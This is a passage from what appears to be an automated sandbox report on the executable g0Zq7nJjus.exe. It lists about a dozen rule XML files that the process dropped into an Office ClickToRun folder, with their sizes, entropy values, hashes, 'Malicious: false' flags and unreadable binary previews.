SHA-512:	8AADC31EBAE9916C995E23D44E7635C8DFA496D9DFC1A87779F853728F5132E7BD33866C8F41392FA2D9AFD2C79F2C0841872CBE962901F4C87060E49D15B16E
Malicious:	false
Preview:	.<?p< ...q.V.n8......=..pr..#.i..c.>F.g\...5BQ^A....s..B......e/.,n..4...q.Q.3z.~.5.=.DD7..P.w;...p`R...?.5<. ........a....l....H....{...`.;.~......=.a....d,"'.!....]3j..b...!..%.U...>._..9jWwV4tGA.7........k.p.3...e.......f.c.P..t.....n.;.:@!e!....T;.W...+.... [..6...@t..{.B..ml..d../.......4.=..w..7V....tg..U.......s.^.O..A:~E."......(.......?.^.bA.j.s...y..46_e...t.....i..njo...2.".....q...-5......C@.Z.....4......`#....k....N.K...L'.3?....f.g..SNV........?k.....V9r..c.\|...xa....y.p....<G3.e.cs.......8e.g\)./....5r>.`.].l6/S.x.hq.....&eR)......^.&..j....,..............6q..8.<>U............mC..Y.~......u;.C....N.@JT.I#xe..]K..'.U._..U>.5.T.......e..!.?/0{.,hl.w..e.k...s..+.U./....)Q.ze.bB..`P..Z.1....=.$..U...?8~....B...Z".R....O....B#.....+E,..,\|.7t*".9J...T...Q.O.M.2.2[].IU..E....N.U.....fg........YvQ..g..g.C..DJ...f=1.>4..L....@.pX.../."P`..g{....Z2W.RPQ]zBA..'w7..J...N.x...[r.=[..rA$....8...m..>.]~...jy.....,.....c.,.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703750v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.887321943545258
Encrypted:	false
SSDEEP:	48:uB1WNUbr5vms2ScnladRpm1n8vgtFTfoJ5FZRrB5Om5HUcD:41WNYAnlirm1n825foJPrBHCY
MD5:	B5F27144BACFDE36058C4411D1C7A59D
SHA1:	A718D422DE7F57400C294355A650F75CEE4E0C61
SHA-256:	D3A1745AD5D8A473967A4A20496ED3FD9CAA17A17C6D13F0AA9CD475BC62F339
SHA-512:	91BC5662C4FDD376E0A567D413E0EBEEBBA5EA5438B6075E0E1480B61F33E62D2AB2542743346B163C56BE205BB38B3D132A41ACBFD6FF5E8C829D6135E3DD17
Malicious:	false
Preview:	.<?{......3...DC.Ha.._n.^.To..?....u.....x.n....'..=.`......c...."..IM,8....s..G....'..U.L&.?J.../K.l.E...(.NT.+.:e...Q...{...UO...y(r..../X....J../P.Jc..^X.rg.....9(.......!.D.....HL......x.f.t.J^r..0.\xWs/EYQ.q...~%$.1m.ff...!T2-.....8W~.......f.}qr.f.W..j.%...O.4.,...>....5..u...z...@s,-....s..........G.x....7..&\}...!g...T.B....i....zhR@..oa.t.}.@....0...}.S~.,...0.:..\.x9.......(i)...#...4T...$.J.s..bO.....>.dW.yl3..>Z.j.m.FWN\|........Rj....L\|.S..]b.cR..I....7..y...I..dy..C@/...C.0......W.p-.!_....>...J?:..T..JeN.#r.^T..".k.........0Q..x.\.U..."'oh.'0X.....4....@.07....:..C.{G<....T.D.E..#..9I.#.o.6.B...%..\4.A...`.v\|..b ........&!.=...i..r.}(....;."(.9..'b:..J_....j.1.&F...3...=.K2".O.0}....:n)o_....;..W.AP{T/.?D..-0.T..\|....caw..(v...F.Fse..P.Z.o..;W....,.p'...@.a....iu.S...B..c....Y....o.l.1.r.l.v.....ZeP.=e....w.;h..F..l.....W9.YK.}..Bu..A....,...; ....v.'....Lc....7r.....\|aT.j=...-".......R.g..,......s..ISc...`EE[.+.8$x.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703751v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1771
Entropy (8bit):	7.903983597830338
Encrypted:	false
SSDEEP:	24:qx/xMLGqAWcrTNf5G4+RCyMLRS0bsG3HVZteL+027UFb5w/k6Im9fg+I5BXoEDuX:O/xM74SaLRS0QGXVzs+027+w86fnR6WD
MD5:	030AC3B3DAB964B6500B8BC7D23AF1A2
SHA1:	64BFBFE92A251A02235882D7E1A819DD25841C6A
SHA-256:	E401C92790311996AFD9B4F4EEEEFB7DC8D38037D7083D69B842A1C10F6B916C
SHA-512:	2A81873679939AC5F413298FAE485CC2667F4C87982AEC46A6478C9254AE2481A66CF24409980F7A7D64126334A4127168D3D12542939DA553DC5272EF6F3315
Malicious:	false
Preview:	.<?.>../5.6x...\|.^.%".cmY\..K(L...,...............>J....VG.9......{. ..T..o.K.Y........D.\|.'4+m.r..,.P..v'.1.w...dd...L}..e.....W.....).8d.X.O..../...%..-.4.......4.t...[X.)....k...so"...r.Q.r.q..n......\....e.%O....YY...a........E_............G#5...ea.Tq.W.z....a)/.Q:.Q..........G...J:.{......h.9...&ut.J..V.7..73.....f.).'@.^.j.F....G.5...=.J..v._;.._.aa..=F..e#..YIbTA.$...."9...o..QgU)..p.Uo.VSN.j....#P...(..L.S.P.Je.E......h.]......CI.2.\.........:.JY.k.........jQ.w...!..._M..q....y.M.......,y..........9,.......e....1.Ua~......n..W.;.....E.1.p.7q.n./.i.\p.)....c....F.1l....e.+._..]6w.#].o3......}Q..../g.?.R.....s.,#..)..,.I,...'zI..R7..8..W..I3l....qS.km..[......m..x.. ;8...........9..;.Q.G.......@fn=).M(..@.h.q\...<......0.]......t.... ......Kmg....(.a....NM.8...-.~....L')P.g......9...Ul. ...&.8{9.S...5..u'..d:R......h&..:x/w..}....c..>I....t...Y.%<..O....[\R......`?...V...t{..q..A.f` .K....~.P8Q.mO..J1*.....q.%.!i.E...B'.q0-b].E.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703800v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.882674728109269
Encrypted:	false
SSDEEP:	48:utIn/FnBA47WbvSlWFPBdBLJ4/Ljz8PcIrDJWyD:MK/NC47QSlkdRJSjWrz
MD5:	6C2134AF0D35ADB59AABA6C69EBBB287
SHA1:	343851E12C24DA73F248D2EC468CDB859FE1DF03
SHA-256:	56CD12C24AC5F6B585F86A475D3EE2CBBD415AE142CFF1EF3004563866DD9143
SHA-512:	606FBE20196A9BD78D86DB812DB8A2740E605A25584ED45276DB417B7C7D916C03D42AE5C5E61BB7887A449CA095F3CA0E1D55413808F3F60C625B59729F1DFB
Malicious:	false
Preview:	.<?...K...v..;........f.dX;.E.Z..[.k{yi58..St1..M.e...r...?.-....B.q..2.1d....?..M.4-7.....tB!L=.-..M..EX....o.,...K....:(..G.{{......$...B...}'M....X..L.+)/.n^....0V<B.?.y!.9@...'ur../..`...".dX6. .....E%..T&X<O\|...g`.m.q..%}..\.........q.n2..l...[dVuF_+....EJ.....'.RZ.....(gzW0..\.B..T.R.-.;...1....7-.....H...9J..;.3:.f...,`.._...K.v.Q..1]...x!..B.Q.]..x?..f.:.......6Z...V.=Y..I.2-W.y.a,D.{..!...!....c.....\8[.......<....=.+.Q~.....\|.7g}.....z......$,.H.U{..........O.,....}\|'.. ..Q#.q...t. 6N.5........y..ZE..%.y.U.@....7....XXht.f..~ EW.*]....7..VDT...5.........$J^...m...a.............o...8z.r..<+%b.r...J\|nlb.O..#Z.e/....C.l-.V.n.Q.V.K.y...i.j2....%?;q..<DM.C.27..Y!.{.~....I.L.B.n.....0h........wT....P..G...?.=..f...,.3..[./...b.U.....y.#...!j.#6E\..b.N.>A...s...#......2...j.7.b......"..m\...........6.2. ..i.....X{r.2.?.... .&.I..(.J..f,....YQ.......L.}......~.u^..y......\^.d(.....Z.....Z.3m.j\|....CV.#...L......nN)g6...^..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703801v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.890144598538568
Encrypted:	false
SSDEEP:	48:xGbX7sN82Ib6UOohYc1mGZdhqf0EVsd7gRKBw2mnlPLD:wbXQg3hvZdhhEUFBlulv
MD5:	6E70D0F5C03E8246E935FEEB8A46BCDC
SHA1:	70844D3480535AB26AC32C3308ED29A5FDE3572C
SHA-256:	633FE13329FD6F59866F9F96E882D53277C6A20CBCCBB31F5246079D0434A7F6
SHA-512:	5570944C3AF127A9EF2395E6ABD288770A411F891F6B0F1DCDB53ACD10529C00ABC5C7CFB7EC87819FB2EC2EFAC9570A855DAB683376E2580802B3B711DD6B02
Malicious:	false
Preview:	.<?.Q7./by&B..r........6.3.pi....H.e. ...{....^>u!.A....u.1<..K.d'..c......d.][ ..M.(.2vu..^..k!r04~z.k.../..,>x...U.\.x.........}....^5.;.../p.%G...<..E?..P..^..g.e..p.m....{....i/...-.o.......G....A...2...%.cw.Rp}...4.\T}.~..ilk..3Gm.....qv....05...#.[..n....qz......Ic ;....-.CM...K......;.I...}..k.s...........p../..H.e.._8.u..j>...K..=v.}.[...2O.n..'bx.~."Yqy..9B.I=..]i.M.)RVvNy)?.#{.-..{.+x..y...J..n7...95-.%.......d..W.aJ.b.R..(...M5..n..UJ...+{`..!sD.E..........s..T..",`..d...\..<..:'..p\|.7.RK..=u=B-w=n,n.........}.......@B......s.P.a<.<....a...2.%...K.......1..ek. 0K...Y&M..r.Ee.K ...3.v....}@........p.h....n......kO...p#..0..\"'...U-.8.{.K6(Ug.5.38ls$i.{.y.....Q!3.$..."l..?...a =......%..k3....T..dX..pF....D....4.X.8Y..Co...N..1r..u.%.....E..%..69s..[....Y...4.[......G:.8...'.D..#.......,a.w...........M.O.'D......id...r......4.fB.d.......l2..+..mC8.'..C3.cq.N.;cd...C.0.=O..1..f^.Kt...9H~ww^zU...G..!.%n..x.lEJ....I...V....z....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703850v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.891593682632205
Encrypted:	false
SSDEEP:	48:vACupbmL+9TqmJ+wxeAP5MtHfdo1Gq4UT5Q+CIYkQJnWYeuD:oLbhJJJ+kRQfd9q9W+CvkQwjW
MD5:	576294118A826ACB70CEE402D9A0F20A
SHA1:	5BF19193383C62B460CFE75E1C8FA08E68C729C3
SHA-256:	35BD7CCD05EA1851EC084B9248357DE28B5750E58F4C9EB697BEBA838151F108
SHA-512:	54C0F5A51BA82BF8455F441A9C78B0D1E5667D887C31977C92C7A7D69CAEE0A878C0EB3EE33447A2D19F24347D0576DB55107D5F6A15FC3A5D781717D6C81B8C
Malicious:	false
Preview:	.<?.{...y......G...b.f.%=.Z6t...X.x.;.e.t..r.^.)...B`..Nx. }....V...\.Z.p\|.....=`...wu`.._.\..7NUI.+..K.VB....4.y.C.F9...~.(-v..e..X.@.j..u...PO.WE#e...../.2..n<..bQ...4..hK.7..HI............%.z_.C..U..J9..F......;=......t..\|I.[..m.C4>.c.$-...N....pP......-...s....8I......8..Bh.m...k....e.NB...8,T.;...P...T)..=.L..1....[..c...4....B/I.........P.k...fs\|..w.K...R..&.....d.4;.._...C8..d..y....^J.G..o.F3.2..p2....!.Q..<\J..eT.5...k....?.P.......r........K...`.2......?8.dD.$)O..c&O.?.c=5..d...U...u.s..f%.y.E.m....D.7~.S.....=.b.)...c..)o...."Z.....X....k.....#..=QR..+.......W...v....,..0.M..F.m..o./"...D<..!Z...5mYQ......s.....,v..%.g#...#.E..q...$...E.@TN..\|..._. .....a.....UN...jO..R%G..g.y,.......M-.....wL"...]......<d9-Y...H.......\..0.?I....%.....J...GqQ..L.y....(k..i....o#..QU.....m374.....2..a.B..68.i.T...5.>?.`.}....%.^...0:Y:j2.;.q.DgdM.s.D......P..........mzAT.<.z*_..eH..&.........Y}..,..W..^......qi?.....v.]f..1.oW.J.?%./O.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703851v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1776
Entropy (8bit):	7.899335797100069
Encrypted:	false
SSDEEP:	48:xXMeVXxKI7PMlBzlmb0VsDlB8+sTg4PPoDpknqLVD:x8eWWeBYeGlB8Rk4oCnm
MD5:	17C7BE299B6D40F60EDAFDC254396EE4
SHA1:	3F7AC16CDA18E496CDDF6FEB598E2156AA03A0B1
SHA-256:	DDBB08A1062A259EFE6FF428CFF68CC73899D7DA2EEEAEB73140AF6E97500FC7
SHA-512:	14858ED012DC7B1000D4B6D29F43EB0C503E5073CC6FF2A07B590942359A084E0E65AB646ECB8E31812C02EBCE6C4C92249D9652757DE6DF7D3AB410D69E0D1A
Malicious:	false
Preview:	.<?w.Ds._.77..Q2..v..u..D.....@C..^..2.................7.#A.Q.../..?...=h.\.q....a.8..T.~.n..a.........}.^d.......V..A..u.h.O..\..R._4...E..BR.!...'.RX.T.p..4.]......Ya.a., ..\.;...pN.\r........Az4..n....}..8<.{g.u.!...[..,8p.g....hi.L.H27..Q......}^<.D.H....#...}..S.....T..M..G..u...dt%g.%.9..........>..D........Z.yQ...a.R...usd......~.}....Y......o....>..;l..{.....[kb.O.l..)...5 0.w...x).....RT-..D9q..<c.{..4.......AL...,.(. u5....#O...W".5....(_..+Y.y.=C.....n.c..YB....Zq$.e@.Fb.-./..w...]N.~.G.^.<..'..=..=...>...Y..f...r.RE{H..).q.....H...e..........R.tE...6.<.s..u..T0..c.p..........-QGE.......&.L....-.-O..F...~\.....U;d5iZe0..C..gd.9y2....PiA.l.7.Y...~. ............K.....o(V..>D,.JsN....b......... 2Y"BV.....;...n..5../.2BG.c..~...q\.....+5G(..6,B.`.Ivk...t....B..;1.E..]..).rtOm..v.\D.e..0...;.> .^.syl.dMI/...%..?g.3._2S.2Ad.!...(...k..OK.....V....y.f3f;..&..........Od...?.......').@..6.>._.n?0.K.6>..I1.(..@_.\|ocR.9.........._

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703900v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.885860719309678
Encrypted:	false
SSDEEP:	48:8fLF65mWwTqORBrIS/BS/DUTQKqqENF5acLvfxO26upsD:8jF6c3TxrFMDUTIPNFxHBpI
MD5:	266B14D658F2647B3DFB73B876470DD6
SHA1:	DFC8476528B4A43E3F47A5C22DC61B34F6BDD1A1
SHA-256:	B7A5E9C3F22EA5043310AAA6EECA137B6B689DF84E858BFFD06B643D813AABB5
SHA-512:	7A6CA741DB518E3EE9999893DEA94166663AD5D61AA7B4B8A3DFE02DFCD059A6EEA9D7B348BC35B5DB870567207EE1254DDF40B17ACAF7B8287C0058EEC55A13
Malicious:	false
Preview:	.<?\j....F.c....l6y..M.`Tc^\|......k./G...b.xk8..n...M.W... ....m.. D.".m..y..`..-....E....l..4K...x/....Gv..1.D.S{.!..%.....k..nQ.x.....L........A..?.....p..x...c..rC.WD.g...j....GD..}..[R}).w .?.....e)..U.J..N.T_..DBZ.......!<5<.f..,...=....g..._.C?..u.Nd..y.r.s....p4.I.E..M.'yn..(a...'R.7.KF....R<..]..=..l)..........5.F:.wZ."..e....6..[.[o.G{?.'...\z.q...uv...~T...4`3_`.0=}...7.(#..Z.(Z..J.\.b.d....-.#V.^P.a...zm].8~..6...I..j..J....>.hfn....R,.7?....=r..}.@...{...F..n_.^.........^1D`...G.fk...7....-..&....L.....`.m.B..w..GW.....V.....q..~2..v....ni..{.Q4..\h!.F.e...Z.V...8+.L..g.N].W.t.wH.").0.q.G.....)}^~G..N.....?. 'Q.F.-..{.yl....w....9..$....8A..r....Q4.@.$r...>r.`;.T... ......`...P..........)O.)b4.U:..B..%G..k...O...}y{.Y..N......s.5...M..i..I_.d.............]H8pl...5....... c......S.(.:(ypS....D.3'=..D...I:..k....C..f.....t..l....\......\|......eh3I.v#:.....d9..v.{k.z.y.A.J..,....0n..=.H....b....'V...O......t.mC.:.=_^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703901v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1761
Entropy (8bit):	7.895347237425533
Encrypted:	false
SSDEEP:	48:V3gZY1NLfXJ39BroJHjDH7UiA+a9uR6J9ALcCHcM815au97D:VtvfXJ39BroJH//AVaa9dC5817
MD5:	74B02A0DDEC8E97536C1AE4F631C38E2
SHA1:	FAD40627DE6D1F89F1C5DD5E3F85002E958D5A60
SHA-256:	28498F9E2D6DDA215821A6EC864A99D2517DB8E24391D6C4028443B60C88DBFE
SHA-512:	90F05A2294F48F237834F26499DA5DDEB2E08D5385EE46E9215C5FD9FCF487F91A0C422275C489757498DA4EF22B976EDE6353BCA4A60AEC67F66232978DD50C
Malicious:	false
Preview:	.<?..&G....N.(A.c..e.e...#x.....z.voA...=..~..... ...b=,..........>.Z..... P......-......K......0.Y%5.....u1.#...w.Lym..$z..S..\|...:".w....L.+4...0K..7.E.,.Nh~...U...ipf.....m..k..g.g."~.n..,..2...h.r.Kb7......fxcS.~.......x.N.7....rW.7.@.t....=x.1.9F.(.3p.....~3.,..:.k........v.F.:...~..d...[.....s.6..x./8.....o.Yi.L.2..R..u$........n.e"...._....j....... 9..J..........K$.}.." .}..4i3.~B.......6.S..{...ca!..H.6...Q.B.^.;.{}..E.)..%?.y1....E.?B.c...K...W.f.....[....;...99.^..........e./.B.s.K...] ..eE. .T..N....0.Bw.w#....>...y.@..5..@...:7....c...,..a.a .'.F.y.-.^u..x.{.].'......=.......Do.0..[O ...r..h.f.mS>vx)!.).i....j...k....o..G.;u-H.7..k....{O (.:Te....U#.#.b?#.....p.%.S..!.C.U.Tl.d').......N..'+.[}.3~%.......,....]...S.1K}..7A'h0h.6..........H....h........}..}....U. ...1Al.k:..."..U....<....O2.RLFN..=..4..j.;...&...F.I.lk.:A.:{..D....W.....V..k.t.US..3.&).8...x..xLi@..:..g..>....Rmk.M....J..H..m#O.[.t.d.x.. k.=....n.Wa..T...">d..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703950v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.877404511726889
Encrypted:	false
SSDEEP:	48:FNPn2jEZbzPwm9B4vmGqFrfbbZa6gshsbD:FNPn2YZfPwm9yeFN/c8iX
MD5:	C177C3808C0591AF74F8F3D16DD9B8F7
SHA1:	EB9E97E58E03956BD0173148331D833F1C0EA6CA
SHA-256:	2D8220959046891D1732BA0302D0E1AAF5F94BD0B384F9DFA363E9352CB9F2BC
SHA-512:	816B75DD66B14EA86D67406DED3AFB03BF5C136661503A5864F7C24F7D6E4AAD3C57A38FEC98A3297D792BD56FD7CD9BD0589427071505BB3F666C57DA942338
Malicious:	false
Preview:	.<?.y.e...Uk.l..m.nblj.te.t.Fk....omA....%..e..H..5.l....f..{.._..?"X..!.C..;IEo.n....K...FA..F..i^N....6.6....S..HG.).8r.6P..Al?..r.l..$2.h....1..,..w>.5.M..P..z1..=.?f........4na...MU?........2UY,.&=...h....>..U7...&]..v.1...A......._>......s....`.~.bn..j.e.:<da..J...[....h.."...a .:c...._.....`tX.#.Y.'...oT..a..=v...;.a...6.........S.....M...j.gI..s...v@]lP..ph.....x,:...>&.a.dZc.......F!....&:...\|.....B.'.q.~.G..q......N...C....B.MD'.K....A..B,.c......zm....po.w9.M.......(.w..m..C..w..rk....e+..R.Y$.9z,}..{....x......g7.l....Mm..t..H...0.Z. ..h.?..o.".......M._.5X.2x8....y....i...EBQoQcw.8..QhZ.....Ipe`..HGN.3J-s.'.k..[......M.:.l.sl.........s......Z...I..P.5j.sp....rJ.ts7.#.^>.@\|...R$6.s.4^.\..7...b.6Y..3}jT.O....X..W7l2..4c......<.......FU....L..#....W..F.....>F.4.,.=..T.]..J.D..?.....I...G.8y#..C.7.._-3...'.1j..l.....$..w[.....o.F..Q......-+......F,...]*o...y.M...G6....e.&(.n..yf..p\.<....rTF.............9h....HZA.9.\|<..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703951v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.9018612829954495
Encrypted:	false
SSDEEP:	48:jN4P4UQ28bU9QN+v+hgN+G8Djur38SFxGjTPgDN0D:jmgUQyQNAqurFxG4e
MD5:	E20A13E32BB31F5C493B2A8311C90DB5
SHA1:	4F572E73F539E9F736B2480B2A3CD313BBA25CB4
SHA-256:	62667ED692667772FD6AE0329F0241FE763F93C73ADF0F33D935C369F5DFF981
SHA-512:	367EC2F90E36F4807BA29D67AA55FAF96290A24CE60D791BA30E6E19B7C38EC503464EA6092828B5F88C318206AAE4639A4720689B0FA8DEB58E38D6760676C9
Malicious:	false
Preview:	.<?&.......0..M1...~.H..o-%....+x.F.r.ed=.....4b......P...m..W.NoF.^......%."/TH....p.h...?.H...<...gQ.S...V.(W..&_....v.>cL.....T....;.....q.]P.&..U.....5....U..Q..yu.........S..O...v....j.....&).^T..l..i?56...&...{_.W..=q.X...Y.I._Tq.Y.CQ%.RX..f.F..,..'J.4FJ.....P.>( ....F..&..^.<..b.8.0.......m...m.Y..q.0.Y.P?..E.\|.$X...r...c.&...c.m.,2./..o..'u....L.A..".K,..C...%.....0o...Y....R....D........rV...$.o.f.....s...r......"..#..[h.;.}.S.....8^...i......q...E...-.r;3IaK#l2z.B...[..0....(./!.f...XI.A.D.w...............szE..B......:\ .A.d`..,.....bo...Z..d,p../$....a..R.. .%T\|.;.....H[..gU&5bF.T.{...'k).z.C..r.'.......5...kt.n.....u.......zM...k@Q......`E...M.5..@.0 ..7.7Ch..[oJC...K.^`.\|..D.f]..V.n.U..>....x..8.'..o3..d`...).Jz...........[^..0...P...s.S.m.I[....6(.......!dO..u.i....*.{..<..B.ID...g I(+,...V.......;g..B.mv#.S...o...N...P.3..QZ<....NU..}.`.Mt......:..X.0.?.).u....+.0p.<...o?.~BF.8....s..).....g........Jd..m{...{..1V.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.845814996887753
Encrypted:	false
SSDEEP:	48:Az/2/LJ8THZ2NCYjWiMadkd1h5GIjYOOUnoBorPBUKD:B/LUZWCYjwSkBDQUdPb
MD5:	5F731A6A56039A178704B67B4E7739E8
SHA1:	BB88CC670368BDC50FF9CFA1FACE88F7AC7061D2
SHA-256:	DB35878F6C98D83191A494AA1456D09A873C9C864129F653752A7800CB88D8EA
SHA-512:	BA5BB1C3F9F7A1A30704D95DA684CF9EF143E83C407EA9A46C51C2BA03DCE550D9DB77331D03B226CD8CF10E0E5E5AC38E409C3CD88EA2A649FA98886A607522
Malicious:	false
Preview:	.<?..d.`.u.....Y#?........97.N.....6VV.(..P9....p.KI$.VP.s.!N..Nj..u...P......Hg.'x...u.@'...a7.e...,n.."{..t..........~w...c.%_..c!^n.(<6m......?. \|!x.\w...G..OC$d.P.M(...N.;0u.C]-hu..# \|Xm.t.v.F!`....j.?8...C..n.~.0...p.......N..I7...^..??.....=\-..fE\|%".!.\..6e3?..n...E`.A..UY.!....A.@.\|...~D...v..s.......uN.T....8....z...L.}U7......q.^\.y...7..:.}..Y...../...J...Y>.........?.od....c.,.......r........K.a...&.1$..U..$..,.....C.....D;.n.=m..8...../.....Fjn.=....e..;..0.L...=.t.@.%C.R.....~....#3.2E....PEex.1pDj.g.q.S.e.v.W=+elUc.,Uh...=.....N..$.j!(.D..`....(v.7....\|.Z1xl.s.......I.O..c..].G......7..j..}.D..j...B-..i`.....T....F..^..(J...C^2...........P.K..}z.Z,8...Qa..v0[.>...jl.L....h....\.C..n...$."..3.E.Y..i.Q.`3..rx.t.i..^T.S.b....(].7r.(..@...]..d...YR.t...ch=.a....W...............0.........M.......;Gt....Ip.elsr...".xpa18e..f./..Z...L.m^.Q.......+.-.......pn2.D...Y ....O.3.......LWzi......1-.Z&..a{",U...O....\s...OA.A.].4B..Sb

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.876354482475419
Encrypted:	false
SSDEEP:	48:3TgZweaeHj/PkWikPf5aeVPJpZv6AxtLD:3Tm3tzcWikPRHMc9
MD5:	B92E2FEB02B85C752811B4F63635E20E
SHA1:	9578AE22A325ED0945CDBDE0C5B10204E32E907E
SHA-256:	FF0622EC36E10B59CB2D1FE9BD53F0103E1EEA02E402E392315FCF707495A7C7
SHA-512:	7496C032168AFC674F5BF7F57EDC2CCA4E78B8CA0064A2CCFF863166CDBCFA5945205EED19D328F05AC67AA54DBEBCF9438148D62A8C0689B11A838F4DB29350
Malicious:	false
Preview:	.<?\(.Y..-...8gO.S.K.n6.-Exr.j.R....v!...6.2+..Xp`..YO.....U....l....n....5.h..^..kP...M~..\.0i...{.oq.l..6.).=..A..$^\|M6.)w..R.7V....QMY..j....!.{..J..w4r..`.!...z.0.s_._.b.:...3y...R..R.j^.....!2_.I./......g.....2L.nEX.P..........p.1......aeX.2J.S.\.7N.5P..p..:.{cvOH.x)..KG..e.FK.._...U.'4......`.U...........,hT..w..{...f.<8..H.i..P.i.....,s.>..xN)..#3k._..5]...Q...../.VN....l4...(........f[.....{..w..In...R.!BD....hc..i.M.].9.$D.E..3.-r......#.a......9.....4y.....[.W..R.i..(h..%.....v..w...6/t..@w...u]O...w.e....J.......VQ..D.`o....$(5...G..3.y..#E.3u.3..>zd...P...J..x~.+u..`14....6.......g...vC.fdcl....v..;.4..5.@`.D...v^..[....d.+...eb...9.Obx...5.Vz.w:..(.<x...W.65.Hm.J.....p.P........].G...1n..Y...{...p9......]..(.$.>..!.x4N..vg..I.;..bS..u....h...E..E.Q.e..d'g..H......$.,.....=..S..B..H.(o...M...`....qH.#.s...........q...c..Hs.{Z..Q......).^."W.8.!......~.+`.]?.y.8.Sh...g.u...t.....X.......UW..]..A.y..r.I.g.x}.. 'y....C9l^....Z<

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.8865041536182146
Encrypted:	false
SSDEEP:	48:IaH03uI4qEWN/S2qGS3tWlfx0JSw+CFMQD:7NI4A/hqG5fxuFMM
MD5:	BC03BE86A9B5FD8187623FC90F02B732
SHA1:	FEFA49D6CFF0F74E47D1CD21EE5B6A97FF974F1C
SHA-256:	C5CB1157B354FBC9A64B608DFA22739487B783634CC4CDED45C4AA408FCEB3CC
SHA-512:	5EBED1FA8B89E36F3A17642D8A4A6F77127605197787DE24E20F82323FDBA34AE85B35E093D5BA6805EF9EAD16157ADF6E97155EDB490741CDC648FCAA89A9FC
Malicious:	false
Preview:	.<?x. .l....7.ti...r..ub...C=..g.oBsD.g.1.M.u...P0......X...........G.....w.t.....f[.q...S.8B.j!...K.+.....@.w..{.F..1,a&h..5....vB..d.............&...........[.....%....y.......-TN.J.!.."8`z..\J..K......'p.Q.Jx..].q.e...E......o0?.:..%....$+v.]..w....J..0.f...M...}n...aP~.:um.{......0.M.m@.-#....q2..TU.vQ...>k....`.....K8....C.>..}l.[..^.g.:.I...e........N.......o. >.......i-.G.....?..........Z`..!.p>...1.~.V ....~g..o..g......Ww......L...a..{..0....{P]...2C..].L!........`.8g#N^e...N&.."....6.l}>.W..1...\..O.G.!....d.z.::Y.tGU...MQ....(...........<.Fq.H2..\|u.V.1.S.k..D.%Q.i..H....8.Y...M..9.._.ztW.X..fS]...=.o.WT5....>(E.J...@.`Lj. A.'w.o];...V.R...B....x....=.%.... .......b.JV.3..G...f....=..c..q..^p.q...J../e.T.A.g,7.f.9.$I=.."P..%?....t..M...k.$y.PoM......i.0.<.K=n[...._..e.T..v..m...N..NZu.&.\|.....t.....m..{.B......9.F.c...hf\{.r..~).)39..r.*.E..L.........j..dX{\|..S...0....t@..."..<v...........v... .]........)n..L.1..K.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.911498692229616
Encrypted:	false
SSDEEP:	48:Du0BKBVKAwy/KZxQjjSrNYMCIZZNXOitojlGED:DUVKAHcQj+/JMGQ
MD5:	DD941E7371CEEA2308B55F11E57893E4
SHA1:	DF7ED11D116766FAF2E1AC7671BFEDC21ED45AD7
SHA-256:	75E78E13C0A62DBD857F0DD1310B19A0B18557E562D876FCAD716D80F4DA1669
SHA-512:	8BA59AEDB4070585131363BD71DB29CD51996B7DED872CC60CA19D29F5D89ECCB56D5CC44DC768D26E8CAE06D4475E6FB47FBFB28B369ECE356394CDF7C979F6
Malicious:	false
